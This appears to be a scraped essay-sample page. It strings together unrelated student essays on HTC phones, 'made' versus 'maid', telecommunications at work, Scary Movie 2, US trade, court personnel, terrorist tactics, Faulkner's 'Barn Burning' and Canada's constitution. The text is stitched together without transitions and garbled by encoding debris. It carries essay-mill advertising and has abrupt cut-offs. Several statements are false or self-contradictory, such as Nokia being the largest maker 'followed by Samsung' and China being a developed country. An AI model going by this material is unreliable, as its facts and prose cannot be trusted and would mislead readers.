This is one of the largest mobile manufactures in the world followed by Samsung. Their products are on high demand. Nokia is the worlds largest mobile phone manufacturer. It sells wide range of mobile phones different sizes, with few features and others with many features. They have a large market share. Sony Ericsson is known for its highly successful function-rich Cyber shot, Xperia and Walkman handsets. It makes mobile phones that are on high demand thus it is very competitive. Samsung mobile phone sells stylish handsets with amazing features. This is the second largest mobile phones manufactures in the world. They also manufacture touch screen phones that are highly on demand. Google makes Android mobile phone with gorgeous design and they are some of the most demanded in the world. Strengths At the Mobile World Congress 1n 2011, HTC was awarded as the best manufacturer of smart phones in the Year. In April 2011.The company has a higher market share than that of Nokia and it is the third largest smart phone manufacturer phones in the world while is the first Apple then Samsung. HTC has invested in research and development a department that has a quarter of its employees. This helps it to come up with high quality mobile phones.HTC runs a software design office in Seattle where it designs the features of the phones. HTC has a research and development office in Durham in North Carolina which deals with wireless technology that is required to make mobile phones. Research helps to come up with products that match the customer needs. Research also helps to come up with unique designs and features for the phones. (Holson, 2008) The company is producing handsets that have great features that will attract customers. In year 2010, the company launched a 4G internet capable phone. This was the first 4G internet phone in the United States. Thiss phone attracted large number of customers who required high internet speed in their phones. Opportunities HTC has a wide share of the market compared to other mobile manufacture like Sony ericssion, Motorola, blackberry, LG among others.HTC began designing some of the worlds highly demanded phones that have touch screen and wireless connectivity. The company was the first to create Microsoft-powered smart phone in the year 2002. Since the company can make unique and high quality mobile phones it has a chance of been very competitive in the market. The users look for the mobile phones that have features that meet all their needs. (Macsai, 2010)The 4G internet mobile phone is suitable for users who need quick access to the internet.HTC able to manufacture them are an opportunity to increase their market share. Marketing Strategies HTL makes use of the 4ps marketing strategy. It makes high quality products that meet the consumer needs. The 4G internet phone manufacturing is a strategy aimed at meeting the customers need for faster internet in the phone. HTC is targeting the best place to sell its products.HTC has started selling smart phones in China under its own brand name in a partnership with China Mobile. China is one of the developed countries in the world and it would provide the best market for the HTC products. HTC mobile phones are sold at different prices according to the feature of the phone. The prices are set according to the quality of the product. Due to other competitors, HTC charge fair prices to avoid losing the customers and the potential customers. Public Relations Public relations are important to create a good image of the firm. Good public relations help any organization to change the negative public attitude towards the organization to a positive one. In the year 2009, HTC sponsored the HTC-Highroad cycling team. This team is currently the most successful cycling team from the year 2009 to 2011. Recommendations HTC should have a low pricing policy. This will ensure that people in the developing countries can also afford to purchase the mobile phones. HTC can cooperate with the phone operator to give offers to customers. For example, any person who buys a phone should be give a month of free calls. Research on the software they can install in the phones to come up with unique feature for the phones. To increase creativity HTC should employ any person who comes up with a fantastic idea and help the person to develop that idea. HTC should listen to the complaints of the customers to come up with the products that satisfy their needs. The customer may be requiring high quality cameras, different shapes and colors of the phones or faster internet. (Macsai, 2010) Conclusion HTC is a brand that although faced by so many competitions has a chance to be the worlds most competitive mobile manufactures. The marketing research to find out the customer tastes and the technology research to come up uniquely designed phones can enable the firm to be the most competitive.HTC has good public relations since it engages in sponsoring of events. Buy custom HTC Cell Phones essay

Word Choice Made vs. Maid

Word Choice Made vs. Maid Word Choice: Made vs. Maid The title of the 2002 Jennifer Lopez romcom Maid in Manhattan is a pun. Not a very funny pun, but then it wasn’t a very funny movie either. So at least it’s consistent on that level. And â€Å"made† and â€Å"maid† do indeed sound the same while having different meanings, so it is, undeniably, a pun. JLo is pictured here trying to think of a better title.(Poster/Film: Columbia Pictures) However, if you’ve not seen the movie and   don’t get the joke – or if you’re simply worried about mixing up the words â€Å"made† and â€Å"maid† in your writing – check out our guide to how these terms work below. Made (Past Tense of Make) The word â€Å"made† is the simple past tense and past participle form of the verb â€Å"make.† As such, we use it when something has been â€Å"produced,† â€Å"constructed,† â€Å"achieved,† or â€Å"carried out.† For example: The horn made an unpleasant sound when he blew it. They made the tower from glass and steel. We have made great progress in the last week. I made the phone call first thing this morning. We also see this term used adjectivally sometimes. Usually, this will refer to how something was made, such as in the terms â€Å"handmade† (i.e., made by hand) or â€Å"self-made† (i.e., made without help). Even in these cases, though, â€Å"made† refers to the idea of being produced or constructed. Maid (A Female Domestic Servant) The noun â€Å"maid† is a name for a female domestic servant, typically in a house or hotel. For instance, you might hear someone say: The maid comes in once a day to clean the room. You’ll see it used alone and combined with various other terms, depending on the work done by the woman or girl in question Common examples include â€Å"chambermaid,† â€Å"milkmaid,† and â€Å"handmaid.† This is because, in the past, people used â€Å"maid† as a general term for an unmarried or virginal woman, so it had a wide application. However, this is not true in modern English, so you are unlikely to see it used so widely now. Summary: Made or Maid? These words have very different meanings, so you won’t want to mix them up in your writing. Remember the following distinction: Made is the simple past tense and past participle of the verb â€Å"make.† Typically, then, it means something like â€Å"produced† or â€Å"carried out.† Maid is a noun meaning â€Å"a woman or girl who works as a domestic servant.† If you struggle to tell these words apart, keep in mind that â€Å"made† is only one letter away from â€Å"make.† So if you can remember â€Å"make,† you should be able to remember what â€Å"made† means, too. And if you need any more help with the spelling in a document, we’re always here to help.

Impact of telecommunications in the work setting Research Paper

Impact of telecommunications in the work setting - Research Paper Example 1). Another more detailed definition of the term disclosed its meaning as the â€Å"science and technology associated, in general, with communications at a distance. A telecommunications system requires a analog or digital transmitter, a compatible receiver, and a physical (cable or wire) or non-physical (wireless) connection† (Web Finance, Inc., 2013, par. 1). Messerschmitt (1996) revealed that â€Å"the term telecommunications is derived from â€Å"tele†, meaning at a distance, and â€Å"communications†, meaning exchanging of information† (p. 1). If defining the term apparently generated voluminous results, one was more intrigued on how telecommunications have evolved and impacted the contemporary work setting. In this regard, the current discourse aims to present the impact of telecommunications in contemporary work settings, or how telecommunications have significantly shaped the work place. Historical Overview of Telecommunications A discussion on the historical background of telecommunication actually traced its origins from the discovery of the telephone by Alexander Graham Bell in 1876 (von Alven, 1998), 137 years from now. Previous to that, it was interesting to note that forms of communication included fire signals, carrier pigeons, and even a line of canon that relayed relevant messages (von Alven, 1998). Also, other communication patterns such as the Chappe brothers’ semaphore system which â€Å"consisted of movable arms on a pole whose positions denoted letters of the alphabet† (von Alven: Early Beginnings, 1998, par. 1) and the electric telegraph were also noted. Telecommunications in the 21st century has evolved in a rapidly changing pace due to the merging with the computer industry and the emergence of the Internet (Messerschmitt, 1996). As such, it pervaded vast industries and endeavors that transformed diverse facets of the work setting through increased access to information and through the use of ne w technologies and communications facilities that provided new applications in faster, greater and wider scope. The statistics from axvoice.com (2013) presented the changes in market shares of telecommunications in the United States from 2010 to 2015, as shown in Figure 1 below: Figure 1: Changes in Market Shares of US Telecom, 2010 to 2014 Source: Axvoice, 2013 Effect of Telecommunications in the Work Setting Telecommunications have evidently transformed contemporary work settings in terms of eliminating barriers to time, space, and locations. As confirmed â€Å"advances in telecommunications have not only untethered people from desks, but they have also made it possible for people who might traditionally be unable to be in the workforce- such as those who are caring for children, or those who are disabled- to have exciting jobs and contribute to the business community† (Alexis, 2010, par. 7). The evolution of telecommunications have enabled the establishment of diverse work settings, from the traditional office-based work place to varied work centers (Kurland & Bailey, 1999). Due to developments in telecommunications, there emerged four distinct work settings such as home-based; use of satellite offices; the existence of neighborhood work centers; and mobile working (Kurland & Bailey, 1999). This provided greater opportunities for increasing productivity, higher morale, lesser absenteeism, and minimizing costs and expenses. Likewise, through developments accorded by increased access

Fantasy Genre Pieces in the Scary Movies 2 Research Paper

Fantasy Genre Pieces in the Scary Movies 2 - Research Paper Example Suture explains how the film world stitches together the imaginary reality that increases semblance to wholesomeness and coherence. Suture theory illustrates how a film works in the psyches of the audience, â€Å"to ensure they enter the imaginary world and narrative fictional films† (Green 2003, p. 78). This enables the audience to look and also listen to the techniques, conventions, means and codes that are part of the film world. The audience loses themselves to the film and allows it to surround and absorb the thoughts and actions of the audience. Suture theory analyzes these film aspects, to ensure invisibility and inaudibility of the individual components. Imaginary suture occurs when the audience or spectators identify with the characters; while symbolic suture takes place when the audiences identify with the world views illustrated by the film. Scary Movie 2 utilizes suture concept in various aspects. Imagery suture is illustrated through understanding the exorcism pro cess as illustrated in the film environment. In The Exorcist, the teenager called Megan Voorhees is possessed through the spirit of the previous house owner, Hugh Kane. The audience understands that the exorcism is only performed by priests; for instance Father McFeely and Father Harris. The priests attempt to take out Hugh’s ghost, but the process unexpectedly leads to continuous vomiting and incidences of paedophilia. This process also leads the audiences to empathize with the possessed teenager, due to the painful experiences resulting from ghost possession and exorcism. Hugh is then shot by McFeely after he insulted his mother.

International Trade and Finance Speech Essay Example for Free

International Trade and Finance Speech Essay Introduction Today I would like to discuss, with you, the current state of the U.S. macro economy. I will attempt to simply address concepts and terms which focus on international trade and foreign exchange rates. Much of the discussion will focus around the surplus of imports brought into the U.S., and the impact it has on the U.S. businesses and consumers involved. I will also describe the effects of the international trade to GDP, domestic markets, and university students. It is important to understand how the government’s choices, in regards to tariffs and quotas, affect international relations and trade; so I will describe the interactive relationship in regards to tariffs and quotas, and how the government’s choices affect international relations and trade. We will also understand how foreign exchange rates are determined, and identify the reasons the U.S. does not restrict goods from China and minimize imports from other countries. Imports in the U.S. The U.S. imports many goods from various countries around the globe; and the trading of these goods plays an important role in the stability of economic growth for the U.S. The U.S. imports goods or products from other countries such as China; and if the U.S. has a surplus of imports it means there is an increase in the trade deficit, which is not good for the U.S. because trade deficits usually increase unemployment. Examples of products with an import surplus in the U.S. are China’s auto-parts. The U.S. auto-parts industry is at risk of lost jobs because of the rapid growth of auto-parts imported from China. The Chinese government unfairly subsidizes and trades auto-parts to the U.S.; which in return jeopardizes jobs related to the auto-parts industry in the U.S. Exports from the U.S. support jobs, but imports supplant production which would otherwise support U.S. employment. The U.S. auto-parts trade deficit increased from $9.5 billion in the year 2000 to $31.2 billion in the year 2010. During the year 2010, China’s exports of auto-parts exceeded their imports of U.S. products by 725 percent. The impact of this discrepancy between the two countries forces consumers and businesses, in the U.S., to evaluate which products are worth buying. Many times China’s products are manufactured just as thoroughly as their counterparts in the U.S., and they are often much cheaper to purchase. In order to save money, many U.S. companies and consumers will purchase goods from China, and also establish businesses and create jobs in that country which would otherwise benefit domestic employment (Economic Policy Institute, 2012). GDP I would like to next address the effects of international trade to the GDP, domestic markets, and university students. International trade has become important to the U.S. economy in recent years, and the benefits of a global market improve the U.S. standard of living. The problem for the U.S. is the contraction of the GDP because of reduced exports and higher imports. The outflow of domestic currency to foreign markets can decrease the currency of the dollar, and make imports more expensive to purchase. If the currency of the dollar decreases, domestic markets will suffer because now goods cost more to purchase. Domestic markets can also be affected by international trade. If imports are cheaper than domestic company products, then domestic markets may suffer because the imports are cheaper to purchase. Many international students and public and private institutions also benefit from the effects of international trade. The revenues generated by international students are important because they usually pay out-of-state tuition, and the education sector usually benefits from a trade surplus (Business Day, 2013). Tariffs and Quotas The government’s choices, in regards to tariffs and quotas, usually have a big effect on international trade and relations. Many countries rely on net exports to maximize their productions companies. When quotas and tariffs are introduced to the global market, it can affect the flow of goods and products to consumer nations; and can negatively impact the production companies. Because it is usually beneficial for international companies to maximize production, tariffs and quotas can potentially strain international relations and trade. Exchange Rates I would like to next address foreign exchange rates and what determines them. Most of us are aware that currency has a value attached to it. The difference between the two country’s currency value, and the rate for what they will be exchanged for each other; is known as the foreign exchange rate. The exchange rates are determined in the foreign exchange market, which determines the local demand for foreign currencies (Businessdictionary.com, 2013). Goods in the U.S. The question is often asked, if China has restrictions on U.S. imports, then why does the U.S. not restrict goods coming in from China? To answer the question simply, Chinese imports are important to the U.S. because China has the fastest growing markets in the world. If the U.S. were to stop imports from China, then accordingly China would stop imports for the U.S., and we would not have access that important market. It is vital to have relationships with the global market, because those trade relationships keep the U.S. relevant in the global economy. Many economists agree if the U.S. were to stop trading with foreign countries, then the entire global economy would collapse, which would result in the entire globe going into a depression. Conclusion In conclusion I would like to state that I hope I have addressed all of you questions about the current state of the U.S. macro economy. It is important to understand the importance of all countries involved with foreign trade, and how their imports and our exports directly affect the U.S. economy and our jobs. While we would like to be independent from a lot of foreign goods, the idea of total independence from foreign trade is virtually impossible. As we discussed earlier, the reason is because of our trade deficits and their countries ability to invest in the U.S. References Economic Policy Institute. (2012). Retrieved from http://www.epi.org/publication/bp336-us-china-auto-parts-industry/ Businessdictionary.com. (2013). Retrieved from http://www.businessdictionary.com/definition/foreign-exchange-rate.html Business Day. (2013). Retrieved from http://economix.blogs.nytimes.com/2008/12/10/the-impact-of-foreign-trade-on-the-economy/

Essay --

In the arriving court , the judge exemplifies a lot of challenges , as a quality aspect of the court. According to research a judge is an officer who has been elected to bring justice and reap the law throughout the court of justice (). As a judge, common requirements are measured in order to pursue the job qualification. Therefore , the U.S. Bureau of Labor stated that , â€Å" a judge must attend undergraduate school , which a study of choice is not mandatory. Judges must hold a prior legal practice and hold a Juris Doctor degree. While obtaining the degree , one must complete a series of legal classes at law school approved by the ABA (). After , successfully completing the level of achievement an aspiring must pass a bar exam to move to the next level. After successfully passing the bar exam ,one is appointed as an attorney in till obtaining judgeship. Having a strong board behind you for support can boost one's promotion opportunities into being elected for the judge position. Next , on the personnel staff is the District Attorney best known as the D.A.. A district attorney is a prosecuting officer who shows presentation throughout the state in specific trails (). Duties vary for a DA , duties like educating the public and the enforcement of law about how crime prevention can be stopped. District attorneys have a load of employees working hard their wings. According to significant sites , a DA must hold a legal education and a state licensure. Before , the acquirement of DA requires , a high school diploma and a undergraduate degree of four years is required (). Yet , a Juris doctor from a ABA school is required . As the list of personnel continues on ,the next listed job is the hearing officers. Hearing officers make change over ... ... information giving to him/her (1). Moreover , one must not currently have any felony charges nor been convicted of a felony. The only way that one will not have to complete any form of jury duty is if one is in the armed forces being active duty or working for any professional departments. Juror's really play an important part of the court personnel when making verdicts for the courts. Being on a Juror committee can really be stressful if the case is very popular. If the case is local the juror shouldn't have to stay no longer than a week in till the case is closed. Juror's are not to talk about the case in open conversations with peers beside in the court room , while making serious decisions . The juror's have their own claimed section in the court room where the judge has a close distance between them. The next presented personnel in the courts is the defendant

Terrorists Groups In The Middle East Essay

What have been the most common tactics/weapons and threats used by terrorists/terror groups in the Middle East since 9/11/01? The most common tactics/weapons and threats used by terrorists/terror group in the Middle East since 9/11 are bombings which can include car bombs, improvised explosive devices (IED’s), suicide attacks and explosives. Next we have rocket and mortar attacks, vehicle based attacks which is when they used any motor vehicle to run over people walking or to ram into vehicles. Other common ones are hi-jacking planes, chemical and biological weapons, nuclear weapons, conventional firearms and secondary attacks which are when they have a second type of weapon go off after the original so as to injure the emergency response team. In your opinion, are these tactics, weapons, and threats successful from a terrorist perspective? Why or why not? Explain in detail. Yes I do believe they are successful because they accomplish at minimum what they set out to do. Placing fear and causing panic among the masses is so apparent for terrorists, because how much media attention there is they can watch and enjoy their terror. They have us on the edge of our seats when chaos takes place. They catch us off guard and that too is part of their plan. What do you see as the likelihood of a terrorist organization either acquiring or building a nuclear weapon? Explain in detail. I see the likelihood of a terrorist organization either acquiring or building a nuclear weapon as pretty high likelihood. I do not think for one minute that they are incapable. I do not believe that our government is honest with who we do business with. They have what is called suitcase nukes and they are so small they can fit into a suitcase. Money talks and can buy you anything besides permanent happiness. If you have enough money you can buy materials for a nuclear weapon. If obtained, what do you think would be the top three types of targets on U.S. soil? Explain. I think that businesses, diplomatic offices, and military institutions are the three types of targets on U.S. soil. The first type of target would be businesses. Businesses account for thirty one and a half percent of frequency of attacks. The second type is diplomatic offices and that takes up twenty six percent of frequency of attacks. Last of the targets are military personnel. The United States armed forces can account for nearly forty three percent of attacks against military organizations. What do you think are the factors working in their favor and against their success to obtain WMDs? Explain in detail and be  specific. The factors that I think that the factors that are working in their favor are that they IED’s that can be constructed out of common materials that are easy to obtain. They have eager and loyal followers that have no problem sacrificing their lives for the cause such as suicide bombings and using children as distractions or bait. It is also hard to dif ferentiate the civilians from the terrorists. What is working against their success is the United States has specialized trained elite forces with intelligence gathering techniques. They also have the latest technologize and weaponry such as drones, night vision goggles, tanks, snipers and much more to work against the success of the terrorists. References Kaplan, E. (2006, Sep). Targets for Terrorists: Post-9/11 Aviation Security. Retrieved November 22, 2013, from http://www.cfr.org/border-and-port-security/targets-terrorists-post-911- aviation-security/p11397 McCann, Joseph T., 2006, Terrorism on American Soil: A Concise History of Plots and Perpetrators from the Famous to the Forgotten, Sentient Publ. (Boulder, CO). Retrieved November 22, 2013, from http://books.google.com/books Sageman, M. (2004). Understanding Terror Networks. Philadelphia: University of Pennsylvania Press. Ch. 5 pp. 158-161. Retrieved November 22, 2013, from http://www.upenn.edu/pennpress/book

Barn Burning William Faulkner

Biography William Faulkner was born on September 25, 1897, in New Albany, Mississippi. During his adolescent years he was motivated to attend school and even skipped the second grade. Unfortunately, while becoming a young adult he grew less fond of his studies and dropped out of high school when he was fifteen. In 1918 he was rejected from the U. S Air Force since he did not meet weight and height requirements, he then returned home to Oxford, Mississippi. Faulkner attended University of Mississippi where he wrote the school newspapers and magazines.Due to his upbringing in the South which is duly noted in his literature works of art, Barn Burning would be considered his fictional representation of the merciless, money-making New South versus the land-owning, noble Old South. Barn Burning, part of a trilogy, also incorporates some aspects of his family life, for instance being brought in the times of the great depression. Barn Burning captures of the life of the south during this tim e period through his setting, characters, and symbols.In 1949, he won the Nobel Prize for literature which he used the income to establish a scholarship fund for black students. William Faulkner believed in integration of the South rather than segregation. William Faulkner â€Å"tells the story of his region and of his nation, to demonstrate the often tragic inextricability of past and present, to show the human capacity for baseness and for nobility, to search for truth and meaning in a world where values seem constantly to shift and to erode. † (Minter) Literary CritiqueIn the beginning, â€Å"Barn Burning† appears to be a story about a harsh father and his family, who seems to be caught up in his devilish ways. As you read further in to the story you find that the story is focused on the protagonist or son a poor sharecropper, Colonel Sartoris Snopes, who has to struggle with his father’s arsonist tendencies which are destroying his families’ reputatio n and life style, while coming to terms with his own ethics. However, don’t forget to notice the dialect in this story and Faulkner’s.Critic Hal Macdonald comments on dialect when Sarty Snopes says to himself, â€Å"He aims for me to lie [†¦ ] and I will have to do hit†(Faulkner 156) points out â€Å"Sarty's addition of an h before the pronoun â€Å"it,† although characteristic of some rural Southern dialects, nonetheless strikes the ear of a Southern reader† (Par. 1) In addition to the importance of dialect, we are missing out on a truly miserable pain in the context of the story seen through situations around a fire.Susan Yunis comments on the fact that Barn Burning focuses more on the tyranny of the father rather than the deplorable state his family is left in. An excerpt from the story shows this ongoing effect on his family: â€Å"The nights were still cool and they had a fire against it, of a rail lifted from a nearby fence and cut into lengths—a small fire, neat, niggard almost, a shrewd fire; such fires were his father's habit and custom always, even in freezing weather.Older, the boy might have remarked this and wondered why not a big one; why should not a man who had not only seen the waste and extravagance of war, but who had in his blood an inherent voracious prodigality with material not his own, have burned everything in sight?Then he might have gone a step farther and thought that that was the reason: that niggard blaze was the living fruit of nights passed during those four years in the woods hiding from all men, blue or gray, with his strings of horses (captured horses, he called them).And older still he might have divined the true reason: that the element of fire spoke to some deep mainspring of his father's being, as the element of steel or of powder spoke to other men, as the one weapon for the preservation of integrity, else breath were not worth the breathing, and hence to be regarded with r espect and used with discretion. †(Par. 2)One should see a boy whose family has been forced to leave their home, huddled by a small fire in the cool night, and who has huddled by such a small fire even on freezing nights to avoid the retaliation of angry landlords. I see discomfort, anger, even despair at the recurrence of this situation and at the powerlessness of the family to change it. Yet, this discomfort is never spoken by the narrator. Yunis states â€Å"that a narrator who focuses less on the child than on the motivation of his violent, even abusive parent seems incongruous† (Par. 3). Furthermore, the fire is one important symbol occurring in this story.Compared to Snopes fire he constructed for his family small and inadequate. His â€Å"barn-burning† flames had Confederate patrols after him many nights searching for the horse thief. Instead of becoming extremely satisfied by providing warmth and comfort for his family. Snopes would rather see a brief bla zing moment to preserve his integrity and feel powerful. In reality, he is powerless and poor with cruel intentions. In addition to the fire that says so much, the soiled rug portrays his resentment of individuals better off than him, taking it to a personal level.The luxurious rug symbolizes Snopes’ every relief, chance, and freedom he feels he has been unfairly denied, and in obliterating it, he gives up all regard for his life and family’s hope. Theme Level of Maturity in â€Å"Barn Burning† Being a parent is not easy. Parents must guide the children, should set good examples, and take care of them until the day that they can venture the world on their own. However, what if it’s the other way around? William Faulkner’s story titled â€Å"Barn Burning† shows a boy named Sartoris who matured at a very young age due to his family’s circumstances.He wished that things could be different for his family especially his father; the cold an d unyielding manipulator of the family. The innocence of a child is pure and beyond compare. They try things that is new to them or that intrigues them, and they usually role play or imitate what they see especially what the adults do. A child can be easily told to do this, do that, don’t say this, and don’t say that. Sartoris, on the other hand, doesn’t need to be told what to do nor what to say. He is a very intelligent and wise boy because he knows exactly what to do especially when he was being questioned by the authorities.He knows what will be the outcome if he tells the truth, so even if it is against his will, he lied to the authorities. Also, he felt that his father wanted him to lie â€Å"He aims for me to lie, he thought, again with that frantic grief and despair. And I will have to do hit† (Faulkner 156). This behavior shows how the father has planted the idea of how important family is for them to the point of being irrational. The critic Tho mas Bertonneau shares the same idea, â€Å"Abner's injunction to Sarty ‘to stick to your own blood’. Abner’s notion of ‘family’ only applies when it is convenient for him. Treating a child is very important as well.It molds and shapes them to be what they are in the future. It also shows what type of personality they will have like being bashful, lively, reserve, and sometimes aggressive. Child treatment is different and it depends on their gender. The example of this is if the child is a girl; she might be treated gently, but protective and tons of attention. On the other hand, if the child is a boy; he might be treated a little bit tougher, but somewhat lenient because boys sometimes do not need much attention than girls. Boys most of the time don’t cry that much or they don’t cry at all even though they are being scolded or sometimes being hit.They don’t show much of their emotions or thoughts because for them being a boy mea ns you need to be tough and not a cry baby. Also, be able to adjust their selves quickly to any situations, â€Å"If I had said they wanted only truth, justice, he would have hit me again† (Faulkner 158). Sartoris didn’t talk back nor cried even though he was hit by his father. He handled it very well because he knew if he talk back to his father; he will get hit and he will receive a lengthily sermon from his father. â€Å"The word ‘ferocious’ is related to the word ‘feral,’ or ‘wild’†(Bertonneau) Sartoris was treated very aggressively by his father.He wanted to tell the authorities the truth, but he couldn’t. As mentioned earlier, a child imitates what they see. If a parent is not careful with their actions or words a child might end up in the wrong direction. However, some children have a great distinction between right from wrong and what’s rude and what’s not. A child can also feel embarrassment if something has been done that they believe to be humiliating, â€Å" Watching him,†¦ his father held and saw the stiff foot come squarely down in a pile of fresh droppings†¦which his father could have avoided by a simple change of stride†(Faulkner 159).Sartoris felt so embarrassed because it’s a common sense that if there’s a pile of animal dropping on your way you should avoid it because if you don’t you will make such a mess and it will smell â€Å"Abner now barges into the de Spain house, tracking manure on the rug; he frightens Mrs. de Spain and humiliates the servant†(Bertonneau). This stubbornness of stepping on animal droppings shows Abner’s willful behavior of telling everyone that he was not their servant and he wanted his son to learn that. The developmental stage of a child is a step by step progression, but quick.On this case, Sartoris showed a great deal of maturity and thinking. He is more mature than his father. His judgment between right and wrong is impressive. He showed great thinking because he thinks it through before saying anything. He knew what’s going to happen if he tells the truth. Even if it’s against his will he remained silent because for him; his father is more important even though his father is trying to corrupt him. Sartoris have a bright future on his way because he has different outlook or view in the world; unlike his father.He is more of a man than his father because his respect to his self is great and the way that he thinks is mature rather than immature that you would expect from a child.? Works Cited Bertonneau, Thomas. â€Å"Barn Burning. â€Å"Short Stories for Students. Detroit: Gale, 2002. Literature Resource Center. Web. 11 Nov. 2012. Faulkner, William. â€Å"Barn Burning† Literature: An Introduction to Fiction, Poetry, Drama, and Writing. Ed. Kennedy, X. J. , and Dana Gioia. Boston: Pearson, 2013. 155-167. Print. McDonald, Hal. Faulkner's à ¢â‚¬ËœBarn Burning. ‘. † Explicator 61. 1 (Fall 2002): 46-48. Rpt. in Short Story Criticism. Ed. Jelena O. Krstovic. Vol. 92. Detroit: Gale, 2006. Literature Resource Center. Web. 11 Nov. 2012. Minter, David. â€Å"William Faulkner. † William Faulkner. Pearson Education, n. d. Web. 11 Nov. 2012. Yunis, Susan S. â€Å"The Narrator of Faulkner's ‘Barn Burning'. † The Faulkner Journal 6. 2 (Spring 1991): 23-31. Rpt. in Literature Resource Center. Detroit: Gale, 2012. Literature Resource Center. Web. 11 Nov. 2012.

Understanding of Constitutions

Understanding of Constitutions A constitution is a set of rules that people of a certain nation have come up with and agreed upon. It is used for moral, political guidance and to govern the people.Advertising We will write a custom essay sample on Understanding of Constitutions specifically for you for only $16.05 $11/page Learn More A Constitution can be written like that of United States or unwritten like that of Britain. In every sovereign state there are laws governing their political society, limiting the powers of the administrators and their subjects. Those laws are found in the constitution showing how the state is organized in terms of administration, judiciary and legislature. Countries have different ways through which their constitution came to existence. Some of them could be due to wars revolutions, gain of independence or any other major happening in the country. Canada was a colony, which formed its constitution after independence thus there was no comprehensive document i nstead there are many acts, orders, schedules unwritten documents and principles. Constitutionalism is ideology or orientation that advocates for a constitutional government, in that, authority is derived and limited by a body of fundamental laws. Constitutionalism supports government by rule of law and not arbitrary judgment and officials in public office are bound by the constitution in their actions. This idea is associated with political theorists such as John Locke and Thomas Hobbes and has been criticized by some scholars because there are various questions that arise from it. The system supports limitation of the government using the constitution which is a set of laws made, implemented and adjudicated by same government. Canada’s constitution goes back to 1867 when Canada was formed through the British North America act but it was not until 1982 that Canada’s constitution was patriatised through the Canada act and the Constitutional act and she became completel y independent from the queen. Canada’s constitution is written but also has some parts that are unwritten. It establishes the authority of the executive, legislature and the judicial arms of the government. It gives to the different levels of government found in Canada such as federal, provincial, and municipal, powers to create and implement laws. It also highlights the civil liberties and privileges and how the constitution can be altered. Canada’s constitution is very complex because it was not created from one draft instead many pieces were put together. Guy (253) noted that â€Å"One of the main requirements of this constitution is federalism; it structures the government into two levels of authority, that is, federal and provincial.†Advertising Looking for essay on constitutional law? Let's see if we can help you! Get your first paper with 15% OFF Learn More Guy (55) observes that â€Å"Federalism in Canada was provided in the cons titution during the confederation via the 1867 British North America Act which was renamed the constitutional act 1867 whereby, this act set out the jurisdictional powers of both the federal and provincial levels government. The provincial level governed through institutions, such as hospitals, correctional facilities, and educational institutions.† It also gave the provinces powers to impose direct taxes on these institutions and to share jurisdiction in agriculture and immigration meaning that both levels of government are allowed to create laws for these two areas. Financial management has been a major challenge for the constitution since there are no clear guidelines on what constitutes direct taxation. Section 91 of the act deals with federal powers, the first part says that powers not given to the provinces are left for the federal government, such powers are military ,navigation, census, sea, coast, fisheries, criminal law just to mention a few, this makes the federal s ystem to have a wider taxing power hence more revenue. Another issue is that the federal government has been given power over the provinces, an issue that has brought great controversy, while these powers have been used in the past they have now been superseded by a an written law convection act of 1867. Modern constitutionalism in Canada Canada being a democracy has fallen victim of the tenets of modern constitutionalism which include, human rights, rule of law, making of constitutions and separation of powers ;which involves the division of governments into the three major parts legislature, judiciary, and executive, this way the three are able to check each other to ensure constitutionalism. Rule of law is applying the constitution equally to all its subjects despite the class, race or group of origin. Some of the measures used to ensure this are habeas corpus, prevention of retroactive legislation and judicial review.Advertising We will write a custom essay sample on Und erstanding of Constitutions specifically for you for only $16.05 $11/page Learn More Constitution making process must involve public debates and discussions before the constitution is adapted. All these concepts are after one thing, which is limiting the government and respecting the supremacy of the law. Guy (76) say that â€Å"this has led to many amendments to the Canadian constitution so as to abide by this tenets, some of them are the charter of rights and freedoms, division of power between the federal and the provincial governments, recognition of the existing aboriginal and treaty rights of the aboriginal peoples of Canada.† In addition it also requires the two levels of government to meet every year to address issues affecting them.† Some of the important amendments made are discussed below. The London Charter of Rights and Freedoms The Canadian charter of rights and freedoms was created on 17th April 1982 and it guarantees equality rights and freedoms. The section prohibits forms of discrimination in respect to denomination, education, race, genders. These rights are applicable to every natural person and the charter limits both the federal and the provincial governments from making laws that interfere with the rights of the people of Canada. With the introduction of the charter, there has been a drastic change in the Canadian courts, they are now more active in protecting individual rights and freedoms, they have a broader view of equality, recognize substantive equality which means that law makers and the government should ensure that laws made create a good environment for everyone despite personal attributes or group membership. This type of equality requires challenging stereotypes, though people still complain that the courts have not done enough yet to protect the individual. The rights and freedoms are; â€Å"Fundamental rights are freedoms of; belief, thought, expression, press, conscience, religion, belief, a ssembly and association.† Democratic rights; these are rights to vote, maximum duration of officials in public office, parliamentary sittings and their duration. Mobility rights such as; right to life, liberty, security, unreasonable search, freedom from detainment, right to legal counsel, rights against self-incrimination, language rights (this is use of the official languages), English and French (Guy 96). Meech lake accord Meech lake accord was a collection of amendments that had failed to be made to the Canadian constitution and was intended to persuade the government of one of its provinces Quebec to support the 1982 Canadian constitution because it had declined to do so .Advertising Looking for essay on constitutional law? Let's see if we can help you! Get your first paper with 15% OFF Learn More They demanded to be allowed to keep the French language and religion, give rise to the power of the clergy and be identified as distinct society by itself both geographically and in culture, the supreme court had ruled that the new constitution applied to all provinces but Quebec was in opposition. A new premier was elected in Quebec just at the same time as this argument was in place he agreed to negotiate and gave conditions that were to be followed for them to agree to the constitution. This accord was negotiated at the Meech Lake in 1987 and five modifications were made but they had to be approved by other provincial and federal legislatures to prevent change of the constitution amending formula. The accord received support from ten premiers and also national polls showed that the people were supporting it, however this changed due to the â€Å"distinct society clause†, and the people said that Quebec could not be treated differently. After many debates, meetings, commiss ions and negotiations the demands even increased to include gender, and natives’ issues in the accord. Time lapsed and polls were held and it was unsuccessful but Quebec did not change there position it hence the failure. A series of constitutional conferences were held and negotiations were made but things were still the same and this led to the Charlottetown accord. The Charlottetown accord The Charlottetown accord was comprised of proposed amendments to the constitution of Canada. The accord’s aim was to solve the disputes of power between federal and provincial jurisdiction, codification of the Canadian character and diversity, recognition of Quebec’s demands, the aboriginal self government principle, changes in the house of commons and appointment of the justices of the Supreme court which Quebec demanded that three of them be elected from the province since they were the only ones that practiced civil law. The accord unlike the previous one was presented t o the public in a referendum which was unsuccessful. The United States constitution The United States constitution is the source of all legal authority in existence in all states; it is over 200 years old. It is the shortest written constitution and was adopted on September 17th 1787 by the constitutional convention in Philadelphia. The document has been amended twenty seven times but has still remained relevant for application. The first ten amendments are called the bill of rights and are the source of the Canadian charter of rights and freedom. It is different with that of London in that, it was written as one formal document unlike that of London that is collected from different pieces and even some are unwritten (Guy 118). Political Parties, Interests and Pressure Groups A political party is a political organization with ideologies on how to run a country. The objective of these parties is to gain majority seats in parliament so as to influence legislation. They engage 